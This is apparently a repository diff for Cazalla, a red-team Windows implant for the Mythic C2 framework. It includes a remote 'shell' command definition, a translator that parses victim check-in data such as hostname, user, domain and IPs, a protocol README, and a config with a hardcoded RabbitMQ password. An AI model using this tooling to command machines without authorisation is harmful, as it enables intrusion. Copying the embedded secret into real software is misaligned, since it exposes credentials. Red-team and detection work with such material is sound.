<path d="M3815 1600 c-3 -5 -1 -10 4 -10 6 0 11 5 11 10 0 6 -2 10 -4 10 -3 0
-8 -4 -11 -10z"/>
<path d="M3611 1392 c-14 -27 -11 -64 6 -70 19 -6 27 25 16 61 -9 32 -9 32
-22 9z m19 -37 c0 -14 -4 -25 -10 -25 -5 0 -10 11 -10 25 0 14 5 25 10 25 6 0
10 -11 10 -25z"/>
<path d="M4247 1394 c-4 -4 -7 -22 -7 -41 0 -40 26 -46 36 -7 7 26 -15 62 -29
48z m10 -51 c-3 -10 -5 -4 -5 12 0 17 2 24 5 18 2 -7 2 -21 0 -30z"/>
<path d="M3532 1355 c0 -19 4 -35 9 -35 8 0 14 23 10 44 -1 5 4 13 11 17 9 6
7 9 -8 9 -18 0 -22 -6 -22 -35z"/>
<path d="M3681 1353 c0 -21 3 -32 6 -24 4 10 7 11 13 1 5 -8 8 2 8 24 0 24 -5
36 -14 36 -10 0 -14 -12 -13 -37z"/>
<path d="M3750 1357 c0 -26 4 -32 23 -33 20 -1 22 2 19 30 -3 23 -9 32 -23 33
-15 1 -19 -5 -19 -30z"/>
<path d="M3832 1358 c4 -47 32 -45 35 2 l1 35 -7 -35 c-6 -28 -9 -31 -15 -17
-5 9 -6 24 -2 32 3 8 1 15 -5 15 -6 0 -9 -15 -7 -32z"/>
<path d="M3905 1355 c0 -29 4 -35 20 -34 11 0 14 3 8 6 -7 2 -13 18 -13 34 0
16 -3 29 -7 29 -5 0 -8 -16 -8 -35z"/>
<path d="M3976 1358 c-3 -17 -4 -33 -1 -36 3 -3 5 1 5 9 0 12 2 12 10 -1 13
-21 18 -10 13 28 -7 41 -19 41 -27 0z"/>
<path d="M4090 1355 c0 -42 10 -45 28 -8 16 37 15 43 -8 43 -16 0 -20 -7 -20
-35z"/>
<path d="M4170 1357 c0 -22 5 -34 14 -34 9 0 14 12 14 34 0 22 -5 33 -14 33
-9 0 -14 -11 -14 -33z"/>
<path d="M4310 1355 c0 -42 10 -45 27 -9 14 30 9 44 -13 44 -9 0 -14 -11 -14
-35z"/>
<path d="M4380 1355 c0 -19 5 -35 10 -35 6 0 10 16 10 35 0 19 -4 35 -10 35
-5 0 -10 -16 -10 -35z"/>
<path d="M4444 1355 c-6 -19 -7 -35 -3 -35 5 0 9 6 9 13 0 8 4 7 10 -3 8 -12
10 -12 9 5 0 11 -4 28 -7 37 -6 14 -10 10 -18 -17z"/>
<path d="M5100 990 c-7 -4 -9 -13 -6 -19 4 -6 2 -11 -5 -11 -7 0 -10 -2 -7 -5
8 -8 58 13 58 24 0 13 -25 20 -40 11z"/>
</g>
</svg>

After

Width:  |  Height:  |  Size: 16 KiB

@@ -0,0 +1,37 @@
from mythic_container.MythicCommandBase import *
import json
class ExitArguments(TaskArguments):
def __init__(self, command_line, **kwargs):
super().__init__(command_line, **kwargs)
self.args = []
async def parse_arguments(self):
if len(self.command_line) > 0:
raise Exception("Este comando no debe tener parametros")
class ExitCommand(CommandBase):
cmd = "exit"
needs_admin = False
help_cmd = "exit"
description = "Salir del Callback"
version = 1
supported_ui_features = ["callback_table:exit"]
author = "Kaseya OFSTeam"
argument_class = ExitArguments
attributes = CommandAttributes(
builtin=True,
supported_os=[ SupportedOS.Windows ],
suggested_command=True
)
attackmapping = []
async def create_tasking(self, task: MythicTask) -> MythicTask:
return task
async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse:
resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True)
return resp
@@ -0,0 +1,44 @@
from mythic_container.MythicCommandBase import *
from mythic_container.MythicRPC import *
class ShellArguments(TaskArguments):
def __init__(self, command_line, **kwargs):
super().__init__(command_line, **kwargs)
self.args = [
CommandParameter(
name="command",
type=ParameterType.String,
description="Comando a ejecutar"
),
]
async def parse_arguments(self):
if len(self.command_line) == 0:
raise ValueError("Se debe indicar un comando")
self.add_arg("command", self.command_line)
async def parse_dictionary(self, dictionary_arguments):
self.load_args_from_dictionary(dictionary_arguments)
class ShellCommand(CommandBase):
cmd = "shell"
needs_admin = False
help_cmd = "shell {command}"
description = "Ejecuta comandos de shell en el sistema NOTA: ESTO ES CERO OPSEC"
version = 1
author = "Kaseya OFSTeam"
attackmapping = ["T1059"]
argument_class = ShellArguments
attributes = CommandAttributes(
supported_os=[SupportedOS.MacOS, SupportedOS.Linux, SupportedOS.Windows]
)
async def create_tasking(self, task: MythicTask) -> MythicTask:
task.display_params = task.args.get_arg("command")
return task
async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse:
resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True)
return resp
+11
View File
@@ -0,0 +1,11 @@
#from mywebhook.webhook import *
import mythic_container
import asyncio
import cazalla
#import websocket.mythic.c2_functions.websocket
from translator.translator import *
#from my_logger import logger
#from basic_command_augment import *
#from basic_eventer.my_eventing import *
mythic_container.mythic_service.start_and_run_forever()
@@ -0,0 +1,6 @@
{
"rabbitmq_host": "127.0.0.1",
"rabbitmq_password": "PqR9XJ957sfHqcxj6FsBMj4p",
"mythic_server_host": "127.0.0.1",
"debug_level": "debug"
}
+9
View File
@@ -0,0 +1,9 @@
aio-pika==9.0.4
dynaconf==3.1.11
ujson==5.7.0
aiohttp==3.8.3
psutil==5.9.4
grpcio
grpcio-tools
mythic-container
pyaml
@@ -0,0 +1,57 @@
import json
commands = {
"get_tasking": {"hex_code": 0x00, "input_type": None},
"checkin": {"hex_code": 0xf1, "input_type": None},
"post_response": {"hex_code": 0x01, "input_type": None},
"shell": {"hex_code": 0x54, "input_type": "string"},
"exit": {"hex_code": 0x08, "input_type":None}
}
def responseTasking(tasks):
data = b""
dataTask = b""
dataHead = commands["get_tasking"]["hex_code"].to_bytes(1,"big") + len(tasks).to_bytes(4, "big")
for task in tasks:
command_to_run = task["command"]
if commands[command_to_run]["input_type"] == "string":
data = commands[command_to_run]["hex_code"].to_bytes(1, "big")
data += task["id"].encode()
if task["parameters"] != "":
parameters = json.loads(task["parameters"])
data += len(parameters).to_bytes(4,"big")
for param in parameters:
data += len(parameters[param]).to_bytes(4, "big")
data += parameters[param].encode()
else:
data += b"\x00\x00\x00\x00"
dataTask += len(data).to_bytes(4, "big") + data
elif commands[command_to_run]["input_type"] == "int":
print("Unsupported type (for now...)")
dataToSend = dataHead + dataTask
return dataToSend
def responseCheckin(uuid):
data = commands["checkin"]["hex_code"].to_bytes(1, "big") + uuid.encode() + b"\x01"
return data
def responsePosting(responses):
data = len(responses).to_bytes(4, "big")
for response in responses:
if response["status"] == "success":
data += b"\x01"
else:
data += b"\x00"
return data
@@ -0,0 +1,96 @@
from translator.utils import *
import ipaddress
def checkIn(data):
# Retrieve UUID
uuid = data[:36]
data = data[36:]
# Retrieve IPs
numIPs = int.from_bytes(data[0:4])
data = data[4:]
i = 0
IPs = []
while i < numIPs:
ip = data[:4]
data = data[4:]
addr = str(ipaddress.ip_address(ip))
IPs.append(addr)
i += 1
# Retrieve OS
targetOS, data = getBytesWithSize(data)
# Retrive Architecture
archOS = data[0]
if archOS == 0x64:
archOS = "x64"
elif archOS == 0x86:
archOS = "x86"
else:
archOS = ""
data = data[1:]
# Retrieve HostName
hostname, data = getBytesWithSize(data)
# Retrieve Username
username, data = getBytesWithSize(data)
# Retrieve Domaine
domain, data = getBytesWithSize(data)
# Retrieve PID
pid = int.from_bytes(data[0:4])
data = data[4:]
# Retrieve Process Name
processName, data = getBytesWithSize(data)
#Retrieve External IP
externalIP, data = getBytesWithSize(data)
dataJson = {
"action": "checkin",
"ips": IPs,
"os": targetOS.decode('cp850'),
"user": username.decode('cp850'),
"host": hostname.decode('cp850'),
"domain": domain.decode('UTF-16LE'),
"process_name":processName.decode('cp850'),
"pid": pid,
"uuid": uuid.decode('cp850'),
"architecture": archOS ,
"externalIP": externalIP.decode('cp850'),
}
return dataJson
def getTasking(data):
numTasks = int.from_bytes(data[0:4])
dataJson = { "action": "get_tasking", "tasking_size": numTasks }
return dataJson
def postResponse(data):
resTaks = []
uuidTask = data[:36]
data = data[36:]
output, data = getBytesWithSize(data)
jsonTask = {
"task_id": uuidTask.decode('cp850'),
"user_output":output.decode('cp850'),
}
jsonTask["completed"] = True
resTaks.append(jsonTask)
dataJson = {
"action": "post_response",
"responses": resTaks
}
return dataJson
@@ -0,0 +1,52 @@
import json
import base64
import binascii
import os
from translator.utils import *
from translator.commands_from_c2 import *
from translator.commands_from_implant import *
from mythic_container.TranslationBase import *
class cazalla_translator(TranslationContainer):
name = "cazalla_translator"
description = "python translation service for the Kaseya C agent Cazalla"
author = "OFSTeam"
async def generate_keys(self, inputMsg: TrGenerateEncryptionKeysMessage) -> TrGenerateEncryptionKeysMessageResponse:
response = TrGenerateEncryptionKeysMessageResponse(Success=True)
response.DecryptionKey = b""
response.EncryptionKey = b""
return response
async def translate_to_c2_format(self, inputMsg: TrMythicC2ToCustomMessageFormatMessage) -> TrMythicC2ToCustomMessageFormatMessageResponse:
response = TrMythicC2ToCustomMessageFormatMessageResponse(Success=True)
print("C2 --> IMPLANT :" + json.dumps(inputMsg.Message))
if inputMsg.Message["action"] == "checkin":
print("Response CHECKIN")
response.Message = responseCheckin(inputMsg.Message["id"])
elif inputMsg.Message["action"] == "get_tasking":
print("Response TASKING")
response.Message = responseTasking(inputMsg.Message["tasks"])
elif inputMsg.Message["action"] == "post_response":
print("Response POSTREP")
response.Message = responsePosting(inputMsg.Message["responses"])
return response
async def translate_from_c2_format(self, inputMsg: TrCustomMessageToMythicC2FormatMessage) -> TrCustomMessageToMythicC2FormatMessageResponse:
response = TrCustomMessageToMythicC2FormatMessageResponse(Success=True)
print("IMPLANT --> C2 : " + binascii.hexlify(inputMsg.Message).decode('cp850'))
#response.Message = json.loads(inputMsg.Message)
data = inputMsg.Message
if data[0] == commands["checkin"]["hex_code"]:
print("CHECK IN")
response.Message = checkIn(data[1:])
elif data[0] == commands["get_tasking"]["hex_code"]: #GET_TASKING
print("GET TASKING")
response.Message = getTasking(data[1:])
elif data[0] == commands["post_response"]["hex_code"]: #POSTREPONSE
print("POST RESPONSE")
response.Message = postResponse(data[1:])
return response
+7
View File
@@ -0,0 +1,7 @@
import base64
import os
def getBytesWithSize(data):
size = int.from_bytes(data[0:4])
data = data[4:]
return data[:size], data[size:]
+185
View File
@@ -0,0 +1,185 @@
# Cazalla - Basic Mythic Implant in C
Cazalla is a basic Windows implant written in C, designed to interface with the Mythic C2 framework.
This project was developed based on the article [How to build your own Mythic agent in C](https://red-team-sncf.github.io/how-to-create-your-own-mythic-agent-in-c.html) and serves as an initial version of an implant with room for future improvements.
Cazalla is developed by the OFSTeam at Kaseya. Currently, it only supports the `exit` and `shell` commands, but additional functionality is planned for future updates.
## Install Cazalla
Once Mythic is installed and running, use the following command to install Cazalla:
```sh
./mythic-cli install github <repository-url>
```
## Detection
A YARA rule can be provided for detection purposes.
## Communication Protocol
### HEADER - Implant to C2
| Key | Key Len (bytes) | Type |
|---------|-------------------|------------|
| UUID | 36 | Str (char*)|
| Action | 1 | UInt32 |
### HEADER - C2 to Implant
| Key | Key Len (bytes) | Type |
|---------|-------------------|------------|
| Action | 1 | Int32 |
UUID | BODY
#### Checkin - Implant to C2
Expected:
```json
{
"action": "checkin",
"uuid": "a21bab2e-462e-49ab-9800-fbedaf53ad15",
"ip": "127.0.0.1",
"os": "win",
"arch": "x64",
"hostname": "PC",
"user": "bob",
"domain": "domain.com",
"pid": 123,
"processname": "malware.exe"
}
```
| Key | Key Len (bytes) | Type |
|---------------|-------------------|-------------|
| UUID | 36 | Str (char*) |
| Size IP | 4 | Uint32 |
| IP | Size IP | Str (char*) |
| Size OS | 4 | Uint32 |
| OS | Size OS | Str (char*) |
| Architecture | 1 | Int |
| Size Hostname | 4 | Uint32 |
| HostName | Size Hostname | Str (char*) |
| Size Username | 4 | Uint32 |
| Username | Size Username | Str (char*) |
| Size Domain | 4 | Uint32 |
| Domain | Size Domain | Str (char*) |
| PID | 4 | Uint32 |
| Size Process | 4 | Uint32 |
| Process Name | Size Process Name | Str (char*) |
| Size ExternIP | 4 | Uint32 |
| Extern IP | Size Extern IP | Str (char*) |
### Checkin - C2 to Implant
| Key | Key Len (bytes) | Type |
|----------|-------------------|-------------|
| New UUID | 36 | Str (char*) |
| Status | 1 | Byte |
### GetTasking - Implant to C2
Expected:
```json
{
"action": "get_tasking",
"tasking_size": 1
}
```
| Key | Key Len (bytes) | Type |
|---------------|-------------------|-------------|
| Number tasks | 4 | Uint32 |
### GetTasking - C2 to Implant
Expected:
```json
{
"action": "get_tasking",
"tasks": [
{
"command": "command name",
"parameters": "command param string",
"timestamp": 1578706611.324671,
"id": "task uuid"
}
]
}
```
| Key | Key Len (bytes) | Type |
|---------------|-------------------|-------------|
| NumberOfTasks | 4 | Uint32 |
| Size Of Task1 | 4 | Uint32 |
| Task1 CMD | 1 | Int |
| Task1 UUID | 36 | Str (char*) |
| Task1 LenPara1| 4 | Uint32 |
| Task1 Param1 | LenParam1 Task1 | Str(char*) |
### Post Response Header - Implant to C2
| Key | Key Len (bytes) | Type |
|---------------|-------------------|-------------|
| Number Resp | 4 | Uint32 |
### Post Response Header - C2 to Implant
| Key | Key Len (bytes) | Type |
|---------------|-------------------|-------------|
| Number Resp | 4 | Uint32 |
### Post Response Classic Output Return - Implant to C2
Expected:
```json
{
"action": "post_response",
"responses": [
{
"task_id": "uuid of task",
... response message
}
]
}
```
| Key | Key Len (bytes) | Type |
|---------------|-------------------|-------------|
| UUID Resp 1 | 36 | Str (char*) |
| Size Output R1| 4 | Uint32 |
| Output R1 | Size Output | Bytes |
| Status R1 | 1 | Int |
### Post Response Classic Output Return - C2 to Implant
Expected:
```json
{
"action": "post_response",
"responses": [
{
"task_id": UUID,
"status": "success" or "error",
"error": "error message if it exists"
}
]
}
```
| Key | Key Len (bytes) | Type |
|---------------|-------------------|-------------|
| Status Resp1 | 1 | Int |
## Future Development
This is an initial version of Cazalla with limited functionality. Currently, it only supports the `exit` and `shell` commands. Future updates will introduce additional commands and improvements to enhance its capabilities.
View File
+266
View File
@@ -0,0 +1,266 @@
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 20010904//EN"
"http://www.w3.org/TR/2001/REC-SVG-20010904/DTD/svg10.dtd">
<svg version="1.0" xmlns="http://www.w3.org/2000/svg"
width="800.000000pt" height="800.000000pt" viewBox="0 0 800.000000 800.000000"
preserveAspectRatio="xMidYMid meet">
<g transform="translate(0.000000,800.000000) scale(0.100000,-0.100000)"
fill="#000000" stroke="none">
<path d="M3713 6533 c26 -2 67 -2 90 0 23 2 2 3 -48 3 -49 0 -68 -1 -42 -3z"/>
<path d="M3735 6294 c-66 -7 -129 -12 -140 -13 -40 -2 2 -19 75 -29 41 -6 86
-13 100 -16 63 -15 296 -28 402 -22 115 6 117 5 121 -17 l4 -22 2 23 c1 15 7
22 21 22 11 0 20 4 20 9 0 13 84 19 92 7 4 -6 8 -26 8 -43 0 -26 4 -33 20 -33
17 0 20 7 20 50 0 43 3 50 20 50 37 0 20 19 -22 24 -106 14 -627 21 -743 10z"/>
<path d="M3921 6166 c2 -2 33 -6 67 -10 44 -5 62 -4 57 3 -3 6 -34 11 -67 11
-34 0 -59 -2 -57 -4z"/>
<path d="M4540 6120 c20 -13 33 -13 25 0 -3 6 -14 10 -23 10 -15 0 -15 -2 -2
-10z"/>
<path d="M4421 6102 c-17 -14 -22 -25 -17 -40 4 -12 2 -30 -4 -42 -8 -16 -7
-28 6 -55 16 -33 15 -38 -4 -83 -14 -33 -20 -69 -20 -122 0 -77 8 -100 37
-100 14 0 14 2 1 10 -24 16 14 13 55 -4 36 -15 47 -35 19 -32 -9 0 -20 -9 -24
-21 -8 -19 -3 -23 42 -38 28 -9 58 -13 67 -10 14 6 13 8 -4 15 -11 5 -33 9
-50 10 l-30 2 28 10 c28 10 28 11 10 31 -18 20 -18 20 8 14 26 -7 26 -6 27 56
1 43 -1 56 -7 41 -5 -11 -21 -28 -36 -38 -26 -17 -26 -17 -15 4 7 14 10 54 6
113 -3 51 -5 99 -6 107 0 8 4 51 9 95 5 44 8 81 6 83 -2 2 -21 6 -42 8 -27 3
-45 -1 -62 -14z m6 -69 c-3 -10 -5 -2 -5 17 0 19 2 27 5 18 2 -10 2 -26 0 -35z
m83 -67 c0 -3 -4 -8 -10 -11 -5 -3 -10 -1 -10 4 0 6 5 11 10 11 6 0 10 -2 10
-4z m-89 -93 c-12 -20 -14 -14 -5 12 4 9 9 14 11 11 3 -2 0 -13 -6 -23z"/>
<path d="M3480 5681 c0 -10 25 -21 48 -21 12 1 10 5 -8 15 -29 17 -40 18 -40
6z"/>
<path d="M4420 5601 c0 -5 7 -12 16 -15 14 -5 15 -4 4 9 -14 17 -20 19 -20 6z"/>
<path d="M3790 5370 c0 -5 5 -10 10 -10 6 0 10 5 10 10 0 6 -4 10 -10 10 -5 0
-10 -4 -10 -10z"/>
<path d="M4178 5373 c7 -3 16 -2 19 1 4 3 -2 6 -13 5 -11 0 -14 -3 -6 -6z"/>
<path d="M3220 3005 l0 -1685 145 0 c138 0 145 1 145 20 0 19 -7 20 -130 20
l-130 0 0 1645 0 1645 755 0 755 0 0 -1645 0 -1644 -132 -3 c-117 -3 -133 -5
-136 -21 -3 -16 9 -17 147 -17 l151 0 0 1685 0 1685 -785 0 -785 0 0 -1685z"/>
<path d="M3965 4219 c-38 -11 -94 -60 -88 -76 7 -21 -5 -15 -18 8 -8 15 -8 19
0 15 6 -4 11 -4 11 1 -1 11 -26 43 -33 43 -9 0 4 -63 14 -74 12 -13 11 -66 0
-66 -6 0 -13 5 -16 10 -3 6 -10 10 -15 10 -11 0 4 -53 24 -82 9 -12 16 -32 16
-45 0 -22 15 -39 23 -26 2 5 2 2 1 -5 -2 -7 5 -21 15 -31 11 -11 31 -41 47
-67 34 -61 54 -85 65 -78 5 3 27 42 50 87 46 92 56 107 71 104 6 -1 11 8 13
20 1 13 9 31 19 41 19 21 37 77 28 86 -3 3 -14 -1 -24 -11 -17 -15 -18 -14
-18 18 0 19 7 43 15 53 8 11 15 29 15 40 0 18 -3 17 -30 -9 -16 -16 -30 -25
-30 -19 0 14 -62 52 -95 57 -16 3 -44 1 -60 -4z m180 -79 c-10 -11 -20 -18
-23 -15 -3 3 3 14 13 25 10 11 20 18 23 15 3 -3 -3 -14 -13 -25z"/>
<path d="M3933 3678 c-47 -23 -68 -120 -38 -178 29 -57 81 -65 126 -21 26 26
29 36 29 91 0 55 -3 65 -29 91 -31 31 -52 35 -88 17z m58 -15 c9 -10 14 -42
14 -93 0 -78 -12 -110 -41 -110 -21 0 -34 43 -34 110 0 96 26 136 61 93z"/>
<path d="M4123 3678 c-59 -28 -71 -160 -19 -205 15 -13 38 -23 50 -23 35 0 74
37 86 81 14 51 -2 111 -37 138 -28 23 -47 25 -80 9z m58 -15 c9 -10 14 -42 14
-93 0 -78 -12 -110 -41 -110 -21 0 -34 43 -34 110 0 96 26 136 61 93z"/>
<path d="M3795 3671 c-24 -5 -26 -8 -12 -13 14 -6 17 -21 17 -98 0 -53 -4 -90
-10 -90 -5 0 -10 -3 -10 -7 0 -5 20 -8 45 -8 28 0 41 4 35 10 -6 5 -10 55 -10
112 0 110 2 107 -55 94z"/>
<path d="M3493 3463 c48 -2 125 -2 170 0 45 1 6 3 -88 3 -93 0 -130 -2 -82 -3z"/>
<path d="M4353 3463 c48 -2 125 -2 170 0 45 1 6 3 -88 3 -93 0 -130 -2 -82 -3z"/>
<path d="M3765 3413 c-32 -8 -64 -44 -76 -84 -13 -43 0 -96 31 -124 25 -22 91
-31 121 -15 17 10 24 10 27 1 2 -6 17 -11 34 -11 26 0 29 2 18 15 -11 13 -9
28 11 85 13 39 26 70 30 70 3 0 10 -15 16 -34 10 -33 10 -35 -16 -39 l-26 -4
28 -2 c21 -1 31 -9 42 -33 9 -23 10 -37 3 -45 -8 -10 11 -13 91 -13 154 0 201
28 201 122 0 35 -6 54 -24 75 -23 26 -30 28 -112 32 -82 3 -87 2 -71 -14 23
-22 25 -176 2 -195 -16 -13 -19 -8 -71 133 -19 52 -33 77 -43 75 -8 -2 -32
-49 -54 -105 -39 -100 -63 -134 -50 -73 3 19 1 30 -6 30 -6 0 -11 -8 -11 -18
0 -24 -31 -52 -57 -52 -31 0 -55 35 -61 88 -5 57 17 117 46 124 29 8 66 -14
70 -40 5 -34 20 -26 19 11 -1 25 -5 32 -21 34 -12 1 -32 4 -46 6 -14 3 -34 3
-45 0z m461 -27 c16 -12 19 -27 19 -86 0 -64 -3 -74 -24 -91 -47 -38 -56 -24
-59 89 -3 101 -3 102 21 102 13 0 32 -6 43 -14z"/>
<path d="M4385 3411 c-61 -27 -89 -109 -57 -171 44 -89 174 -76 203 20 15 51
-1 113 -35 135 -30 20 -85 27 -111 16z m74 -27 c16 -21 21 -41 21 -88 0 -75
-19 -109 -58 -104 -35 4 -52 39 -52 106 0 99 45 142 89 86z"/>
<path d="M4595 3411 c-61 -26 -56 -70 15 -130 53 -45 60 -61 34 -81 -25 -21
-65 -1 -80 40 l-12 35 -1 -45 -1 -45 51 -3 c56 -3 93 14 104 47 9 29 -9 56
-60 91 -48 33 -58 62 -27 79 24 13 62 -12 62 -40 0 -10 4 -19 8 -19 5 0 8 15
8 34 -1 23 -6 34 -16 35 -8 0 -26 2 -40 5 -14 3 -34 2 -45 -3z"/>
<path d="M3318 3403 c17 -6 17 -194 0 -211 -9 -9 1 -12 47 -12 57 0 58 1 37
16 -14 9 -22 26 -22 44 0 25 4 29 40 35 42 7 80 43 80 76 0 9 -12 27 -26 38
-22 17 -40 21 -98 20 -39 0 -65 -3 -58 -6z m120 -55 c3 -39 0 -49 -18 -58 -30
-16 -40 -4 -40 49 0 54 5 63 35 59 16 -2 21 -12 23 -50z"/>
<path d="M3508 3403 c17 -6 17 -194 0 -211 -9 -9 7 -12 75 -12 l87 0 0 43 -1
42 -13 -31 c-14 -31 -55 -52 -76 -39 -6 4 -10 26 -10 51 0 50 17 59 43 22 15
-22 16 -21 15 25 0 26 -4 47 -9 47 -5 0 -9 -6 -9 -14 0 -12 -20 -26 -36 -26
-2 0 -4 23 -4 51 l0 50 32 -3 c22 -2 36 -10 44 -26 18 -37 24 -37 22 2 l-1 36
-86 -1 c-47 0 -80 -3 -73 -6z"/>
<path d="M3683 3133 c170 -2 444 -2 610 0 166 1 28 2 -308 2 -335 0 -471 -1
-302 -2z"/>
<path d="M3806 3101 c-4 -5 -2 -12 3 -15 5 -4 12 -2 15 3 4 5 2 12 -3 15 -5 4
-12 2 -15 -3z"/>
<path d="M3496 3042 c-3 -5 1 -9 9 -9 8 0 12 4 9 9 -3 4 -7 8 -9 8 -2 0 -6 -4
-9 -8z"/>
<path d="M3671 3000 c24 -30 44 -57 46 -59 2 -2 3 0 3 5 0 5 -21 32 -46 59
l-46 50 43 -55z"/>
<path d="M3778 3043 c7 -3 16 -2 19 1 4 3 -2 6 -13 5 -11 0 -14 -3 -6 -6z"/>
<path d="M3815 3040 c4 -6 11 -8 16 -5 14 9 11 15 -7 15 -8 0 -12 -5 -9 -10z"/>
<path d="M3880 3040 c0 -5 7 -7 15 -4 8 4 15 8 15 10 0 2 -7 4 -15 4 -8 0 -15
-4 -15 -10z"/>
<path d="M3920 3046 c0 -2 7 -9 15 -16 9 -7 15 -8 15 -2 0 5 -7 12 -15 16 -8
3 -15 4 -15 2z"/>
<path d="M4056 3033 c-4 -10 0 -23 11 -32 16 -15 16 -15 4 2 -11 14 -11 20 -1
32 7 9 8 15 2 15 -5 0 -13 -8 -16 -17z"/>
<path d="M4165 3040 c3 -5 8 -10 11 -10 2 0 4 5 4 10 0 6 -5 10 -11 10 -5 0
-7 -4 -4 -10z"/>
<path d="M4340 3040 c0 -5 7 -7 15 -4 8 4 15 8 15 10 0 2 -7 4 -15 4 -8 0 -15
-4 -15 -10z"/>
<path d="M4396 3028 c10 -14 21 -24 23 -22 3 3 -6 15 -18 27 l-24 22 19 -27z"/>
<path d="M4490 3039 c0 -5 5 -7 10 -4 6 3 10 8 10 11 0 2 -4 4 -10 4 -5 0 -10
-5 -10 -11z"/>
<path d="M4520 3046 c0 -2 7 -9 15 -16 13 -11 14 -10 9 4 -5 14 -24 23 -24 12z"/>
<path d="M4309 3023 c-13 -16 -12 -17 4 -4 9 7 17 15 17 17 0 8 -8 3 -21 -13z"/>
<path d="M4459 3023 c-13 -16 -12 -17 4 -4 16 13 21 21 13 21 -2 0 -10 -8 -17
-17z"/>
<path d="M4571 3020 c14 -31 19 -36 19 -24 0 6 -7 19 -16 30 -14 18 -14 18 -3
-6z"/>
<path d="M4121 3014 c0 -11 3 -14 6 -6 3 7 2 16 -1 19 -3 4 -6 -2 -5 -13z"/>
<path d="M3476 3005 c-9 -26 -7 -32 5 -12 6 10 9 21 6 23 -2 3 -7 -2 -11 -11z"/>
<path d="M3520 3015 c0 -5 5 -17 10 -25 5 -8 10 -10 10 -5 0 6 -5 17 -10 25
-5 8 -10 11 -10 5z"/>
<path d="M3620 3014 c0 -15 99 -120 100 -106 0 6 -4 12 -9 12 -5 0 -28 23 -50
51 -23 29 -41 48 -41 43z"/>
<path d="M3887 2999 c7 -7 15 -10 18 -7 3 3 -2 9 -12 12 -14 6 -15 5 -6 -5z"/>
<path d="M3822 2980 c0 -14 2 -19 5 -12 2 6 2 18 0 25 -3 6 -5 1 -5 -13z"/>
<path d="M3850 2991 c0 -6 4 -13 10 -16 6 -3 7 1 4 9 -7 18 -14 21 -14 7z"/>
<path d="M4037 2979 c12 -12 24 -21 27 -18 2 2 -8 13 -22 23 l-27 19 22 -24z"/>
<path d="M3501 2980 c0 -15 38 -91 39 -79 0 4 -9 26 -20 50 -11 24 -19 37 -19
29z"/>
<path d="M3921 2987 c2 -1 13 -9 24 -17 19 -14 19 -14 6 3 -7 9 -18 17 -24 17
-6 0 -8 -1 -6 -3z"/>
<path d="M4171 2974 c0 -11 3 -14 6 -6 3 7 2 16 -1 19 -3 4 -6 -2 -5 -13z"/>
<path d="M3456 2955 c-9 -26 -7 -32 5 -12 6 10 9 21 6 23 -2 3 -7 -2 -11 -11z"/>
<path d="M3540 2965 c0 -5 5 -17 10 -25 5 -8 10 -10 10 -5 0 6 -5 17 -10 25
-5 8 -10 11 -10 5z"/>
<path d="M4291 2944 c0 -11 3 -14 6 -6 3 7 2 16 -1 19 -3 4 -6 -2 -5 -13z"/>
<path d="M4572 2940 c-7 -11 -8 -20 -3 -20 9 0 24 30 18 36 -1 2 -8 -6 -15
-16z"/>
<path d="M3846 2937 c2 -7 14 -19 27 -26 21 -13 21 -12 -2 13 -27 29 -33 32
-25 13z"/>
<path d="M4020 2943 c0 -6 8 -17 18 -24 16 -13 16 -13 2 6 -8 11 -16 22 -17
24 -2 2 -3 0 -3 -6z"/>
<path d="M4480 2944 c0 -6 7 -19 16 -30 14 -18 14 -18 3 6 -14 31 -19 36 -19
24z"/>
<path d="M3950 2932 c0 -7 -6 -12 -14 -12 -8 0 -17 -4 -20 -9 -4 -5 3 -7 14
-4 22 6 35 21 26 30 -3 4 -6 1 -6 -5z"/>
<path d="M4105 2919 c-16 -10 -25 -19 -19 -19 7 0 22 9 35 20 30 24 23 24 -16
-1z"/>
<path d="M4167 2921 c-4 -17 -3 -21 5 -13 5 5 8 16 6 23 -3 8 -7 3 -11 -10z"/>
<path d="M4344 2923 c23 -28 28 -28 57 -2 l24 20 -28 -17 c-26 -16 -29 -16
-50 2 l-22 19 19 -22z"/>
<path d="M4450 2936 c0 -2 8 -10 18 -17 15 -13 16 -12 3 4 -13 16 -21 21 -21
13z"/>
<path d="M4530 2915 c-8 -9 -8 -15 -2 -15 12 0 26 19 19 26 -2 2 -10 -2 -17
-11z"/>
<path d="M3430 2910 c-9 -6 -10 -10 -3 -10 6 0 15 5 18 10 8 12 4 12 -15 0z"/>
<path d="M4185 2784 c-102 -156 -108 -164 -101 -164 3 0 46 61 96 135 50 74
87 135 83 135 -5 0 -39 -48 -78 -106z"/>
<path d="M4082 2858 c-21 -21 -14 -66 13 -84 23 -15 27 -15 50 0 29 19 33 56
9 80 -18 19 -55 21 -72 4z m56 -32 c4 -33 -17 -64 -29 -44 -11 16 -12 62 -2
72 13 13 28 -1 31 -28z"/>
<path d="M3793 2772 l-62 -87 45 -3 c35 -2 44 -7 44 -22 0 -10 -6 -21 -12 -23
-7 -3 7 -6 32 -6 34 -1 41 2 32 11 -7 7 -12 18 -12 25 0 21 29 15 53 -11 12
-13 33 -28 47 -31 l25 -7 -22 24 c-23 25 -28 44 -17 72 9 24 30 19 53 -10 25
-32 26 -38 5 -58 -21 -22 3 -22 34 0 30 20 28 59 -4 91 l-25 25 20 20 c27 24
26 43 -1 62 -31 22 -74 20 -98 -4 -25 -25 -25 -41 0 -72 l19 -25 -23 -22 c-20
-19 -28 -21 -45 -12 -17 9 -21 23 -23 81 l-3 70 -62 -88z m215 44 c5 -42 -12
-52 -36 -21 -24 31 -19 57 12 53 15 -2 22 -11 24 -32z m-188 -66 c0 -36 -2
-40 -25 -40 -14 0 -25 2 -25 5 0 6 44 75 48 75 1 0 2 -18 2 -40z"/>
<path d="M3558 2843 c34 -2 90 -2 125 0 34 2 6 3 -63 3 -69 0 -97 -1 -62 -3z"/>
<path d="M4328 2843 c34 -2 90 -2 125 0 34 2 6 3 -63 3 -69 0 -97 -1 -62 -3z"/>
<path d="M4185 2710 c-35 -39 9 -104 55 -80 34 18 44 48 25 76 -19 29 -55 31
-80 4z m53 -30 c4 -42 -12 -60 -28 -30 -14 26 -5 73 13 67 7 -2 13 -18 15 -37z"/>
